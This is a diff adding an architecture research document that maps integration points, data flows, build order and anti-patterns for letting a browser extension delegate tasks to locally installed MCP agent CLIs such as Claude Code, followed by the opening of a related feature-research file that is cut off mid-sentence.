Component Responsibilities (existing components this milestone touches) + +| Component | Responsibility | Evidence | +|-----------|----------------|----------| +| `extension/ui/onboarding.js` | Install-command copy UX; already knows the clicked client id | `INSTALL_CLIENTS` :35-45; fan-item click -> `copyCommand(client.cmd, client.id)` :522-525; `copyCommand()` :784-794 keeps `state.copied` in memory only (:67, :787) — **nothing is persisted today** | +| `extension/ui/control_panel.html` | "API Configuration" section to rename | `
` :144, `

API Configuration

` :146, `#modelProvider` select with 7 API providers :157-165, per-provider key groups (e.g. `#xaiApiKeyGroup` :196) | +| `extension/ui/options.js` | Provider select load/save + key-field visibility | default `modelProvider: 'xai'` :5; change listener :613-624; `updateApiKeyVisibility(provider)` :1301-1309; settings object built :1632; persisted flat to `chrome.storage.local` :1677 | +| `extension/ui/sidepanel.js` | Task entry; sends `startAutomation` with legacy agent identity | `ensureLegacySidepanelAgent()` :1503; `chrome.runtime.sendMessage({action:'startAutomation', task, tabId, agentId, ownershipToken})` :1506-1513; `stopAutomation()` :1545-1560 | +| `extension/background.js` | Session orchestration, kill switch, registry host | `fsbHandleRuntimeMessage` :7610; `handleStartAutomation` :8912; `startAutomationLoop` :11853; `handleStopAutomation` :9559 (storage-restore fallback; `fsbBroadcastAutomationLifecycle` on stop :9612) | +| `extension/utils/agent-registry.js` | Mints `agent_`, tab ownership, connection grace | `registerAgent()` :305 (AgentRecord `{agentId, createdAt, tabIds, ...}` :263, :333); `stampConnectionId()` :634 (the pattern to clone for clientInfo); staged releases keyed by connectionId :286; exported `global.FsbAgentRegistry` :1468 | +| `extension/ws/mcp-bridge-client.js` | Extension side of ws://7225; per-connect `connectionId`; routes server-to-extension requests | `_ws.onopen` mints `crypto.randomUUID()` :112-144 (:127); onclose stages release via `stageReleaseByConnectionId` :185-186; keepalive `mcp:ping` send :329-330, `mcp:pong` ignore :373; `_handleMessage` switch :364/:391 routes `agent:register`/`agent:release`/`agent:status` :395-397 | +| `extension/ws/mcp-tool-dispatcher.js` | Route handlers incl. agent identity | `handleAgentRegisterRoute` :1935-1994 — mints via registry, stamps `connectionId` :1965-1970, returns `{success, agentId, agentIdShort, ownershipTokens:{}, connectionId}` :1993; cap rejection `AGENT_CAP_REACHED` :1947-1954. **`clientInfo` appears nowhere in this payload today** | +| `extension/ai/engine-config.js` | Named execution modes | `EXECUTION_MODES` :63-108 — exactly four: `autopilot`, `mcp-manual`, `mcp-agent`, `dashboard-remote`; `loadSessionConfig(modeName)` :126 | +| `mcp/src/bridge.ts` | Hub/relay WS topology on 7225 | hub start :264-295; browser-origin gate :297-309 (`allowedBrowserOrigins ['chrome-extension://']` :90); relay handshake `relay:hello` :328-333, `relay:welcome` :453-462, `relay:state` broadcast :502-509; `_handleExtensionMessage` :515-572 (understands ONLY `mcp:ping`, `mcp:progress`, and id-matched responses — **extension-initiated requests have no protocol today**); hub-exit promotion :756-783; reject-message contract `BRIDGE_DISCONNECT_MESSAGES` :34-38 | +| `mcp/src/agent-scope.ts` | Per-process (stdio) / per-session (HTTP) agent identity | `ensure()` sends `{type:'agent:register', payload:{}}` :59-62 — **the empty payload is the clientInfo seam**; defensive optional-field consumption pattern :77-101 | +| `mcp/src/agent-bridge.ts` | Threads agentId/ownershipToken/connectionId into every tool payload | `sendAgentScopedBridgeMessage` :70-93 | +| `mcp/src/runtime.ts` | Assembles server+bridge+queue+AgentScope | `createRuntime()` :31-50; `agentScope: options.agentScope ?? new AgentScope()` :34 | +| `mcp/src/http.ts` | `serve` daemon; per-HTTP-session McpServer sharing ONE bridge/queue | initialize creates `createRuntime({bridge, queue})` :123-143 — each HTTP session gets its **own AgentScope + own McpServer** (so its own clientInfo), shared bridge | +| `mcp/src/index.ts` | CLI entry: stdio/serve/status/doctor/install | stdio :243-264; `serve` -> `runHttpMode` :381-383/:266-294; `doctor` -> `runDoctor` :388-389/:334-348; help claims "install (21 platforms)" :93 | +| `mcp/src/platforms.ts` | Client registry with per-OS config paths | `PLATFORMS` :77 (23 entries: 18 file-mode, 1 cli-mode `claude-code` :95-103 with `configPath: null`, 4 instructions-mode :314/:324/:334/:344); disk detection = `resolvePlatformTarget()` :437-490 via `existsSync` on config file :455-466 then parent dir :468-479 | +| `mcp/src/install.ts` | Writes client configs / prints commands | `getClaudeCodeInstallCommand()` :31-33 (`claude mcp add --scope user fsb -- npx -y fsb-mcp-server`) | +| `mcp/src/tools/autopilot.ts` | `run_task` -> `mcp:start-automation` with onProgress heartbeats | :33, :51, :124-131 | +| `mcp/src/types.ts` | Bridge wire vocabulary (INV-01 additive-only) | `MCPMessageType` :8-48 (server-to-extension requests + `agent:*`); `MCPResponse` union `mcp:result|mcp:progress|mcp:error` :51-55 | +| `mcp/src/diagnostics.ts` | doctor layer classification | `collectBridgeDiagnostics()` :422 (offline-UX handoff target) | + +--- + +## 2. Integration Seams Per Feature (question a) + +### Feature 1 — Agent identity capture + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Copy-click persistence | `extension/ui/onboarding.js:508-509` (base-command binds), `:522-525` (per-client fan binds), `:784-794` (`copyCommand` body) | MODIFY: add `persistCopyClick(clientId)` inside `copyCommand`; today `state.copied` is render-only | +| `initialize` clientInfo capture | `mcp/src/server.ts:9-21` (McpServer creation), `mcp/src/runtime.ts:31-50` | MODIFY: read `server.server.getClientVersion()` -> `Implementation {name, version}` after initialize. Verified via Context7: functional in SDK v1.x (repo pins `@modelcontextprotocol/sdk ^1.29.0`, `mcp/package.json:54`); deprecated only in the SDK v2 migration. Capture point: `oninitialized` hook or lazily inside `AgentScope.ensure` | +| Thread clientInfo through register | `mcp/src/agent-scope.ts:59-62` — `payload: {}` today | MODIFY: `payload: { clientInfo: {name, version} }` (additive; INV-01 safe). `AgentScope` needs a clientInfo supplier injected via `createRuntime` (runtime.ts:31) since it currently has no server handle | +| Extension-side stamping | `extension/ws/mcp-tool-dispatcher.js:1935-1994`; precedent: `connectionId` capture :1965-1970 | MODIFY: read `payload.clientInfo`, call new `reg.stampClientInfo(agentId, clientInfo)` | +| Registry record | `extension/utils/agent-registry.js:263` (AgentRecord shape), `:305` (registerAgent), `:634` (`stampConnectionId` — clone this) | MODIFY: `clientInfo` on AgentRecord + `stampClientInfo()`; surface in status/list snapshots | +| Installed-client disk detection | `mcp/src/platforms.ts:437-490` (`detected` flag) | REUSE server-side; NEW inventory push to extension (Section 3). Pitfall: `claude-code` is cli-mode with `configPath: null` (:95-103) so `resolvePlatformTarget` always reports `detected:false` for it — Claude Code detection must check the `claude` binary / `~/.claude.json` instead | +| Control-panel surfacing | `extension/ui/options.js` + `control_panel.html` | MODIFY: read new storage keys + new `getMcpClients` runtime message answered from the registry. Do NOT revive the commented background-agents `listAgents` surface (`options.js:5767`, `sidepanel.js:3651`) — that is the sunset v0.9.45rc1 path (INV-05) | + +### Feature 2 — Providers panel + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Section rename | `extension/ui/control_panel.html:144-148` (`id="api-config"`, `

API Configuration

` :146) | MODIFY copy to "Providers"; keep element ids stable where tests pin them (source-pin tripwires — run suite from first commit) | +| Provider select | `control_panel.html:157-165` (`#modelProvider`: xai/gemini/openai/anthropic/openrouter/lmstudio/custom) | MODIFY: add agent-provider entries (e.g. grouped optgroups) + recommended badge | +| Kind-aware key visibility | `extension/ui/options.js:1301-1309` (`updateApiKeyVisibility`) + change listener :613-624 | MODIFY: `agent` kind hides ALL key groups, shows connected/installed status instead | +| Settings model | `options.js:5` (default), `:1632` (save object), `:1677` (`chrome.storage.local.set`), `:1337-1376` (load) | MODIFY: introduce `providerKind` (`api`\|`agent`) + `agentProviderId` alongside `modelProvider`; `modelProvider` keeps its 7 API values so `universal-provider.js` (provider switches :196/:550) never sees an agent value | +| Recommended defaulting | new `fsbAgentProviders` storage | NEW: precedence connected > installed > copy-clicked | + +### Feature 3 — Side-panel delegation (Claude Code MVP) + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Side panel send | `sidepanel.js:1506-1513` | MODIFY: when selected provider kind is `agent`, dispatch new `startDelegatedTask` runtime message instead of the BYOK path | +| Background coordinator | `background.js:7610` (router), alongside `handleStartAutomation` :8912 | NEW `handleStartDelegatedTask`: lightweight delegated session record (UI state only), forwards over the reverse channel | +| Extension reverse-request send | `mcp-bridge-client.js` — precedent: fire-and-forget `mcp:ping` :329-330; `_handleMessage` switch :364-415 | NEW: extension-initiated request/response (`ext:*` frames) with own pending-map + id namespace; today the client can only *respond* to server requests | +| Bridge protocol | `mcp/src/bridge.ts:515-572` (`_handleExtensionMessage` drops unknown frames), `:328-333` (`relay:hello`), `:441-489` (relay registration), `types.ts:8-55` | NEW additive frames: `ext:request`/`ext:response`/`ext:event` + supervisor capability advertisement on `relay:hello`/`relay:welcome`/`relay:state` (additive fields; INV-01) | +| Spawner | none today | NEW `mcp/src/spawn-supervisor.ts` (Section 3 + Section 5) | +| Spawned CLI re-entry | entire existing pipeline: child runs `fsb-mcp-server` stdio -> relay on 7225 -> `agent:register` (`agent-scope.ts:53`) -> own agentId + tab ownership -> tool dispatch | REUSE unchanged — the core reuse win of the milestone | +| Progress to side panel | bridge `mcp:progress` origin-routing precedent :541-551; extension-to-UI precedent `fsbBroadcastAutomationLifecycle` `background.js:2456` | NEW `ext:event` frames supervisor -> hub -> extension -> runtime message -> `sidepanel.js` renderer | +| Kill switch | `sidepanel.js:1545-1560` -> `background.js:9559`; grace release `mcp-bridge-client.js:185-186` + registry :286 | MODIFY stop path for delegated sessions: `ext:request delegate.cancel` (supervisor SIGTERMs child); child's WS close then reuses existing `stageReleaseByConnectionId` cleanup | +| Offline UX | `mcp/src/diagnostics.ts:422`, `index.ts:334-348` (doctor) | NEW side-panel state: no supervisor answers -> "agent offline — run `fsb-mcp-server serve` / `doctor`" (extension has no nativeMessaging; it cannot wake any process) | +| Execution mode | `extension/ai/engine-config.js:63-108` | MODIFY: fifth `EXECUTION_MODES` entry `delegated` | + +### Feature 4 — Multi-agent adapters + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Adapter contract | new `mcp/src/agent-providers/` | NEW `AgentProviderAdapter`: `detect() / buildSpawn(task, ctx) / parseEvents(stream) / kill(child) / caps()` | +| Claude Code adapter | `install.ts:31-33` (CLI command precedent); platforms cli-mode nuance :95-103 | NEW `claude-code.ts` — built as an adapter from day one so OpenCode/Codex/Gemini slot in | +| Detection reuse | `platforms.ts:437-490` | REUSE for file-mode clients; per-adapter binary checks for cli-mode | +| Provider list wiring | Providers panel model (Feature 2) | MODIFY: adapter ids become `agent` provider ids; `caps()` gates task-mode vs chat-mode (`--resume`) UI | + +--- + +## 3. New Components (question b) + +| Component | Location | Kind | Contents | +|-----------|----------|------|----------| +| Reverse-request protocol frames | `mcp/src/types.ts` (+ `bridge.ts` + `mcp-bridge-client.js`) | NEW wire types (additive) | `ext:request {id, method, payload, secret}` extension->hub; `ext:response {id, payload}` hub->extension; `ext:event {id, payload}` streamed supervisor->extension. Plus additive `capabilities: ['agent-spawn']` on `RelayHello` and supervisor presence on `RelayWelcome`/`RelayState` (types.ts:70-80 region) | +| Spawner/supervisor | `mcp/src/spawn-supervisor.ts` | NEW module | Consent + shared-secret validation; adapter lookup; `child_process.spawn` with adapter-built argv (never `shell:true`); stream-json stdout parse -> `ext:event` fan-out; kill (SIGTERM -> SIGKILL escalation); child bookkeeping keyed by `delegationId`; exit-watch emits terminal event | +| Adapter registry | `mcp/src/agent-providers/{index,adapter,claude-code}.ts` | NEW | `AgentProviderAdapter` contract; registry keyed by client ids aligned with `INSTALL_CLIENTS` (`onboarding.js:35-45`) and `PLATFORMS` keys (`platforms.ts:77`) | +| Client-identity capture glue | inline in `runtime.ts` / `agent-scope.ts` | NEW glue | `getClientVersion()` read + supplier threading into `agent:register` payload | +| Extension reverse-channel client | `extension/ws/mcp-bridge-client.js` | MODIFY (new capability) | `sendExtRequest(method, payload, {timeout})` with pending map + `ext:` id prefix; `ext:event` subscription routed to background listeners | +| Delegation coordinator | `extension/background.js` | MODIFY (new handlers) | `startDelegatedTask`/`stopDelegatedTask` runtime messages; delegated session-lite records; event relay to side panel | +| Captured-identity storage schema | `chrome.storage.local` | NEW schema (additive keys) | `fsbAgentProviders: { copyClicks: {: {count, lastCopiedAt}}, connected: {: {lastSeenAt, version}}, installed: {: {detected, configPath, checkedAt}}, selected: {kind:'api'|'agent', id} }`. Registry AgentRecord carries `clientInfo` as session-scoped truth; `fsbAgentProviders.connected` is the durable rollup | +| Provider-kind model | `extension/ui/options.js` + engine read sites | MODIFY | `providerKind` setting + guard so BYOK engine paths only ever see the existing 7 API providers | +| Fifth execution mode | `extension/ai/engine-config.js:63-108` | MODIFY | `delegated: { uiFeedbackChannel:'popup-sidepanel', animatedHighlights:true, safetyLimits: wall-clock watchdog (iterations N/A — loop runs in the external CLI) }` | + +--- + +## 4. Data Flows (question c) + +### Flow 1 — Onboarding capture -> storage + +``` +User hovers copy fan, clicks a client (e.g. "Cursor") + onboarding.js:522-525 (button dataset.copyClient -> INSTALL_CLIENTS lookup) + -> copyCommand(client.cmd, client.id) onboarding.js:784 + -> writeClipboard(text) :796 + -> NEW persistCopyClick(client.id) -> chrome.storage.local + fsbAgentProviders.copyClicks['cursor'] = {count+1, lastCopiedAt} +Control panel Providers section reads fsbAgentProviders on load + (options.js load path :1337-1376) -> renders "copy-clicked" tier (weakest signal) +``` +Base-command copies (`:508-509`) copy the currently rolled client's flag (`state.token` :63) — persist `{clientId: current, source:'base'}` so those clicks are not lost. + +### Flow 2 — initialize clientInfo -> agent:register -> extension registry -> control panel + +``` +Claude Code launches `npx -y fsb-mcp-server` (stdio) [or connects to serve HTTP] + SDK initialize handshake carries clientInfo {name, version} + stdio: one runtime/process (index.ts:243-247); HTTP: one runtime/session (http.ts:123-143) + server.server.getClientVersion() -> {name, version} [SDK v1.x accessor, verified] +First tool call -> AgentScope.ensure(bridge) agent-scope.ts:53 + payload {} -> NEW payload {clientInfo} agent-scope.ts:59-62 + bridge.sendAndWait('agent:register') bridge.ts:180-228 + hub -> extension WS bridge.ts:219-222 + mcp-bridge-client.js _handleMessage :364, case 'agent:register' :395 + dispatchMcpMessageRoute -> handleAgentRegisterRoute mcp-tool-dispatcher.js:1935 + reg.registerAgent() mints agent_ agent-registry.js:305 + reg.stampConnectionId(...) dispatcher :1965-1970 (existing) + NEW reg.stampClientInfo(agentId, clientInfo) (clone of registry :634 pattern) + NEW rollup: fsbAgentProviders.connected['claude-code'] = {lastSeenAt, version} + response {agentId, agentIdShort, connectionId} dispatcher :1993 -> AgentScope caches +Control panel: NEW getMcpClients runtime message -> background reads registry + fsbAgentProviders + -> Providers panel shows "Claude Code — connected (agent_ab12...)" + (trusted-label precedent: visual-session clientLabel, dispatcher :1902) +``` +Topology note: each stdio MCP client is its own process -> own AgentScope -> own clientInfo. In `serve` mode each HTTP session gets its own McpServer+AgentScope (http.ts:125 passes only bridge+queue; runtime.ts:34 defaults a fresh AgentScope) — clientInfo is correctly per-client on both transports. + +### Flow 3 — Side-panel delegation round trip + +``` +[side panel] provider kind=agent (claude-code) selected; user types task, Send + sidepanel.js NEW branch at the :1506 send site -> runtime msg + startDelegatedTask {task, tabId(hint), providerId} +[background] NEW handleStartDelegatedTask -> delegated session-lite record (UI state) + -> mcp-bridge-client NEW sendExtRequest('delegate.start', + {task, providerId, tabHint, consentTier, secret}) +[ws 7225] ext:request -> hub _handleExtensionMessage (bridge.ts:515) NEW ext:* branch + hub is supervisor? yes -> handle locally + no -> forward to the relay that advertised capabilities:['agent-spawn'] + none -> ext:response {error:'agent_provider_offline'} +[supervisor = serve daemon] SpawnSupervisor.validate(secret, consent) + -> adapter('claude-code').buildSpawn(task) + -> spawn claude -p ... --output-format stream-json --strict-mcp-config + + hermetic mcp-config pointing ONLY at fsb + shipped `fsb` agent definition + (exact flags: verify in phase research) + -> ext:response {delegationId} -> extension -> side panel "delegating..." +[spawned CLI] launches its own `npx fsb-mcp-server` (stdio) -> connects 7225 as relay + -> agent:register (Flow 2) -> OWN agentId + clientInfo + -> MCP tools (read_page/click/run_task/...) -> bridge -> extension dispatcher + -> tab actions under ITS OWN ownership (agent-registry bindTab :492-500) + visible glow +[events] supervisor parses child stream-json + -> ext:event {delegationId, phase, text, toolUse} -> hub -> extension bridge client + -> runtime message -> sidepanel.js progress renderer +[stop] side panel Stop (sidepanel.js:1545) -> background NEW stopDelegatedTask + -> sendExtRequest('delegate.cancel', {delegationId}) -> supervisor SIGTERM child + -> child exits -> child's stdio server WS closes -> extension-side grace release + (stageReleaseByConnectionId, mcp-bridge-client.js:185-186 / registry :286) + -> supervisor ext:event {status:'cancelled'} -> side panel terminal state +``` + +### State Management + +- Delegated-task UI state: background session-lite records + `chrome.storage.session` for SW-eviction survival. The MV3 SW WILL be evicted during long delegations; on WS reconnect the extension mints a fresh `_connectionId` (mcp-bridge-client.js:112-144), so `delegationId` must live in storage and re-associate on wake — mirror the `handleStopAutomation` storage-restore fallback pattern (background.js:9567-9586). +- Identity ground truth: `fsbAgentProviders` (durable rollup) + live registry AgentRecords. + +--- + +## 5. Spawner Ownership: hub vs relay vs serve daemon (question e) + +**Recommendation: the `serve` daemon owns spawning. `SpawnSupervisor` lives in the `fsb-mcp-server serve` process regardless of whether its bridge is currently hub or relay. The hub's only new job is routing `ext:*` frames to whichever connected process advertises the `agent-spawn` capability — handling locally when it is itself the supervisor.** + +Rationale: + +1. **Process lifetime.** Hub identity is unstable by design: any stdio server owned by an unrelated client session can hold the port, and hub-exit promotion (bridge.ts:756-783, jittered race, exercised by `tests/mcp-bridge-topology.test.js` `runHubExitPromotion` :242) reshuffles roles whenever that client exits. A spawned CLI's stream-json stdout must be read for the whole delegation; if the reader were "whoever is hub", a Cursor session quitting mid-delegation would orphan the child and its event stream. The serve daemon is the only intentionally long-lived process (index.ts:266-294, explicit SIGTERM/SIGINT shutdown :284-293). +2. **Consent and security posture.** Spawning is RCE-adjacent. Binding it to a process the user explicitly started gives a clean consent story and a single holder for the shared secret and consent tiers. Arbitrary stdio hubs launched by third-party clients must never gain spawn authority implicitly. +3. **Hub-exit promotion safety.** The daemon's bridge already reconnects/promotes automatically (`_attemptPromotion` :756, `_scheduleRelayReconnect` :785). Every reconnect re-sends `relay:hello`, so the additive `capabilities:['agent-spawn']` field re-advertises the supervisor to each new hub. Children are attached to the daemon process; hub churn never touches them — only frame routing pauses briefly (extension retries `ext:request` on disconnect-class rejections; extend `BRIDGE_DISCONNECT_MESSAGES` semantics, bridge.ts:34-38, if new reject sites are added — the comment there makes this mandatory). +4. **Matches the honest-offline constraint.** The extension cannot wake processes (no nativeMessaging). "Supervisor present = serve daemon running (or a hub that opted in)" is exactly the state `doctor` (index.ts:334-348) can diagnose and the side panel can message. + +Concrete hub routing rule (new code in bridge.ts): on `ext:request` from the extension — if this process registered a local SpawnSupervisor, handle; else forward to the first relay whose hello advertised `agent-spawn`; else reply `ext:response {error:'agent_provider_offline'}`. This stays inside the milestone's "reverse channel over the existing ws://7225 bridge" decision and is byte-additive on the wire (INV-01: new frame types + optional hello fields only; all existing `MCPMessageType` values untouched, types.ts:8-48). + +Rejected alternatives: +- **Hub-owned spawning:** simplest routing (frames already land at bridge.ts:515) but fails lifetime + consent as above. +- **Any-process spawning:** ambiguous ownership; duplicate spawns on retries; kill-switch routing becomes a search problem. +- **Separate supervisor port (e.g. 7226):** cleanest isolation, zero forwarding — but contradicts the milestone's existing-bridge decision and adds a second listener to the doctor/firewall surface. Keep as documented fallback if hub-forwarding proves fragile during implementation. + +Edge case to handle explicitly: two `serve` daemons (user runs `serve` twice). First-advertised-supervisor-wins at the hub, with a diagnostics note; do not fan out to multiple supervisors. + +--- + +## 6. Delegation Coexistence With the Extension's Agent Loop (question f) + +1. **Execution modes.** `delegated` becomes the fifth `EXECUTION_MODES` entry (engine-config.js:63-108). Delegated tasks never enter `runAgentLoop` (agent-loop.js:1180) — background keeps a session-lite record for UI state; the reasoning loop runs in the spawned CLI, which drives the browser through the same MCP tool surface (INV-02 parity holds because no new tool stack exists). `loadSessionConfig('delegated')` (engine-config.js:126) supplies wall-clock watchdog + event-silence timeout instead of iteration caps. +2. **Tab ownership.** The spawned CLI's stdio server registers its own agent (Flow 2) and binds tabs on first action (agent-registry.js:492-500). Two guards: (a) the side panel's `ensureLegacySidepanelAgent` pre-bind (sidepanel.js:1503) must NOT run for delegated sends, or the target tab is owned by `legacy:sidepanel` and the CLI's agent hits `TAB_NOT_OWNED` — pass the tab as a hint in the delegate payload and let the CLI's agent own it; (b) the spawned agent counts against the concurrency cap (`AGENT_CAP_REACHED`, dispatcher :1947-1954) — surface as a typed side-panel error. +3. **Kill-switch paths (two; both required).** + - UI stop: side panel -> `stopDelegatedTask` -> `ext:request delegate.cancel` -> supervisor SIGTERM child. Distinct from BYOK stop (`handleStopAutomation` background.js:9559), which stays untouched for non-delegated sessions. + - Process-death fallback: child or daemon dies -> child's WS closes -> existing `stageReleaseByConnectionId` grace release (mcp-bridge-client.js:185-186; registry staged releases :286) frees tabs/overlays; the supervisor's exit-watch emits a terminal `ext:event` so the panel never hangs on "running". If the daemon itself dies, the extension's pending `ext:request` map times out -> offline state. +4. **Simultaneity.** BYOK autopilot on tab A + delegated CLI on tab B coexist — exactly the v0.9.60 multi-agent ownership model. The only shared per-process resource is each MCP server's mutation queue (queue.ts), which serializes only that client's mutations. +5. **UI feedback.** Delegated progress arrives via `ext:event` -> runtime messages, not loop `statusUpdate`s. Side panel adds a renderer branch reusing existing status components (`addStatusMessage` pattern, sidepanel.js:1525). +6. **Test tripwires.** Every extension file touched (background.js, engine-config.js, sidepanel.js, mcp-bridge-client.js, dispatcher, agent-registry.js, onboarding.js, options.js) sits under source-pin tests (token counts/substrings). Run the full suite from the first commit of every phase. + +--- + +## 7. Recommended Build Order (question d) + +Phases continue from 57. Dependency chain: identity capture -> providers UI -> delegation MVP -> multi-adapter. + +| Step | Scope | Depends on | Why this position | +|------|-------|-----------|-------------------| +| 1. Identity capture (copy-clicks + clientInfo) | onboarding persist; `getClientVersion` capture; `agent:register` payload `{clientInfo}`; `stampClientInfo`; `fsbAgentProviders` schema + connected rollup; `getMcpClients` runtime message | nothing | Pure additive data layer on both sides of the wire; unblocks everything later; closes the v0.9.36 deferred "trusted MCP client identity from handshake metadata" item | +| 2. Installed-client detection + inventory | reuse `resolvePlatformTarget`; NEW inventory delivery server->extension (additive `system:client-inventory` request on extension-connect, or piggyback on register — decide with payload measurements); claude-code binary detection | 1 (schema exists) | Server-side disk access only; completes connected > installed > copy-clicked ground truth | +| 3. Providers panel | rename :146; provider-kind model; agent rows + status; key-field hiding; recommended defaulting; BYOK guard | 1, 2 (needs real data) | Visible value before the risky spawn work; establishes the selection the delegation UI reads | +| 4. Reverse-request channel + security | `ext:request/response/event`; hub routing + supervisor advertisement; extension pending-map; shared secret + origin gating + consent tiers; topology tests alongside `tests/mcp-bridge-topology.test.js` | independent, but sequence after 3 | Security-critical seam isolated in its own phase with its own tests; INV-01 additive proof lives here | +| 5. Delegation MVP (Claude Code) | SpawnSupervisor in serve daemon; `claude-code` adapter (built AS an adapter); `delegated` EXECUTION_MODES entry; side-panel send/progress/stop; offline->doctor UX; SW-eviction re-association | 3 (provider selection), 4 (channel) | The integration payoff; the child CLI reuses the entire existing agent pipeline unchanged | +| 6. Multi-agent adapters | registry hardening; OpenCode -> Codex -> Gemini adapters; `caps()`-gated task-mode vs chat-mode (`--resume`) | 5 | Contract proven by one real implementation before generalizing | + +Parallelization: 1 and 2 can interleave; 4 can start while 3 is in review. 5 must not start before 4's security tests are green. + +--- + +## 8. Anti-Patterns (repo-specific) + +### Anti-Pattern 1: Prompt-stuffing the spawned CLI +**What people do:** encode task + tool guidance into one giant `-p` prompt. +**Why it's wrong:** brittle, unauditable; the milestone already chose a shipped `fsb` agent definition + hermetic `--strict-mcp-config`. +**Do this instead:** adapter `buildSpawn` emits argv referencing the shipped agent definition; the task is the only variable input. + +### Anti-Pattern 2: Reviving the sunset background-agents surface +**What people do:** resurrect `listAgents`/`getAgentStats` (commented at options.js:5767/6049, sidepanel.js:3651) or `extension/agents/*` for "agents in the panel". +**Why it's wrong:** INV-05 freezes those modules; the new surface is MCP-client identity, a different concept. +**Do this instead:** new `getMcpClients` message backed by `fsbAgentRegistryInstance` + `fsbAgentProviders`. + +### Anti-Pattern 3: Making `modelProvider` polymorphic +**What people do:** store `modelProvider:'claude-code'` and branch everywhere. +**Why it's wrong:** `universal-provider.js` (:196/:550), engine reads, and MCP diagnostics (`status` prints `modelProvider`, index.ts:152-156) all assume the 7 API values; an agent value leaks into request builders. +**Do this instead:** separate `providerKind` + `agentProviderId`; `modelProvider` stays the last-used API provider. + +### Anti-Pattern 4: Letting "whoever is hub" spawn +**Why it's wrong:** Section 5 — child lifetime tied to an unrelated client session; consent ambiguity; kill-switch routing breaks across hub-exit promotion. +**Do this instead:** serve-daemon-owned SpawnSupervisor + capability-advertised routing. + +### Anti-Pattern 5: Editing bridge wire contracts in place +**Why it's wrong:** INV-01 — every existing `MCPMessageType` (types.ts:8-48) and tool schema is byte-stable; register consumers tolerate only additive optional fields (see the defensive pattern in agent-scope.ts:77-101). +**Do this instead:** new frame types + optional payload fields only; update `BRIDGE_DISCONNECT_MESSAGES` (bridge.ts:34-38) for any new reject-on-disconnect site — its comment makes this mandatory. + +--- + +## 9. Integration Points + +### External Services + +| Service | Integration Pattern | Notes | +|---------|---------------------|-------| +| Agent CLIs (claude, opencode, codex, gemini) | `spawn` with adapter-built argv; stream-json stdout; SIGTERM kill | Verify flags per CLI in phase research; never `shell:true` | +| MCP SDK ^1.29.0 | `server.server.getClientVersion()` / `oninitialized` | Functional in v1.x; deprecated in SDK v2 in favor of per-request `ctx.mcpReq.envelope` — note for any future SDK major upgrade (Context7, HIGH) | +| Client config files on disk | `resolvePlatformTarget` existsSync detection (platforms.ts:437-490) | cli-mode (`claude-code`) and instructions-mode entries need per-adapter detection | + +### Internal Boundaries + +| Boundary | Communication | Notes | +|----------|---------------|-------| +| side panel <-> background | runtime messages (`startAutomation` :1506; NEW `startDelegatedTask`/`stopDelegatedTask`/`getMcpClients`) | keep `startAutomation` payload backward-compatible | +| background <-> hub | ws://7225; today server-initiated only; NEW `ext:*` extension-initiated frames | origin gate bridge.ts:297-309 + NEW shared secret for `ext:*` | +| hub <-> supervisor relay | `relay:hello` capability advertisement (additive) + `ext:*` forwarding | mirrors existing `messageOrigin` response routing bridge.ts:538-571 | +| supervisor <-> child CLI | argv/agent-definition in; stream-json out | watchdog + exit-code mapping to terminal `ext:event` | +| child's MCP server <-> extension | unchanged existing pipeline (register/tools/ownership) | the deliberate reuse core of the milestone | + +--- + +## Sources + +- Direct source reads (this repo; all `file:line` citations above): `mcp/src/{bridge,agent-scope,agent-bridge,runtime,server,http,index,types,platforms,install}.ts`, `mcp/src/tools/autopilot.ts`, `mcp/src/diagnostics.ts`; `extension/ws/{mcp-bridge-client,mcp-tool-dispatcher}.js`; `extension/utils/agent-registry.js`; `extension/ui/{onboarding,options,sidepanel}.js`, `extension/ui/control_panel.html`; `extension/ai/engine-config.js`; `extension/background.js` — HIGH +- graphify graph queries (symbol locations: `handleAgentRegisterRoute` dispatcher:1935, `handleStartAutomation` background:8912, `handleStopAutomation` background:9559, `createRuntime` runtime:31, `PLATFORMS` platforms:77; topology tests `tests/mcp-bridge-topology.test.js` incl. `runHubExitPromotion` :242 and `runRejectsUntrustedBrowserOrigin` :215) — HIGH +- Context7 `/modelcontextprotocol/typescript-sdk` — server-side `getClientVersion()` exists and is functional in v1.x; deprecated in the v2 migration; 2026-era transports return `undefined` and move identity to `ctx.mcpReq.envelope` — HIGH for the pinned `^1.29.0` (`mcp/package.json:54`) +- `.planning/PROJECT.md` v0.9.91 milestone section (INV-01, no-nativeMessaging constraint, security tiers, phases from 57) — HIGH +- Claude Code headless flag surface (`-p`, `--output-format stream-json`, `--strict-mcp-config`, agent definitions): training data + milestone context only — **MEDIUM-LOW; verify exact flags against the installed CLI during the Delegation MVP phase** + +### Open Questions for Phase Research + +1. Exact current `claude` CLI headless flags, permission-mode defaults, and stream-json event schema (verify against the installed CLI at implementation time). +2. Inventory delivery trigger: on-extension-connect push vs piggyback on `agent:register` vs on-demand `ext:request clients.detect` — decide in Step 2 with payload-size measurements. +3. Shared-secret provisioning for `ext:*` frames (the extension has no pre-shared channel with the daemon other than the bridge itself): TOFU pairing on first `serve` connect vs a user-visible pairing code in the control panel — decide in Step 4 security research. +4. Whether the Providers panel should also surface HTTP-session clients from `serve` mode distinctly from stdio clients (both produce clientInfo; UX question only). + +--- +*Architecture research for: FSB v0.9.91 MCP Clients as Providers* +*Researched: 2026-07-10* diff --git a/.planning/milestones/v0.9.91-research/FEATURES.md b/.planning/milestones/v0.9.91-research/FEATURES.md new file mode 100644 index 000000000..6d00e341d --- /dev/null +++ b/.planning/milestones/v0.9.91-research/FEATURES.md @@ -0,0 +1,195 @@ +# Feature Research + +**Domain:** Local agent CLIs / agent subscriptions as first-class providers in another surface (browser side panel), mixed provider pickers, delegated-run streaming UX, browser-control consent, agent detection +**Milestone:** v0.9.91 MCP Clients as Providers +**Researched:** 2026-07-10 +**Confidence:** HIGH (core UX conventions verified against official docs: Zed, Cline, Claude Code, ACP, Apple, GitHub, Google, OpenAI; individual items flagged where lower) + +> Supersedes the prior v1.2.0 FEATURES.md (Showcase i18n Completeness research, archived milestone -- unrelated domain). This file is the active v0.9.91 MCP Clients as Providers research. + +## How Comparable Products Do This (survey) + +The "front-end someone else's agent" pattern now exists in four distinct shapes, all shipping as of mid-2026: + +1. **Same-dropdown provider pattern** — Cline and Roo Code list "Claude Code" as an entry in the *same* API Provider dropdown as Anthropic/OpenAI/etc. Selecting it 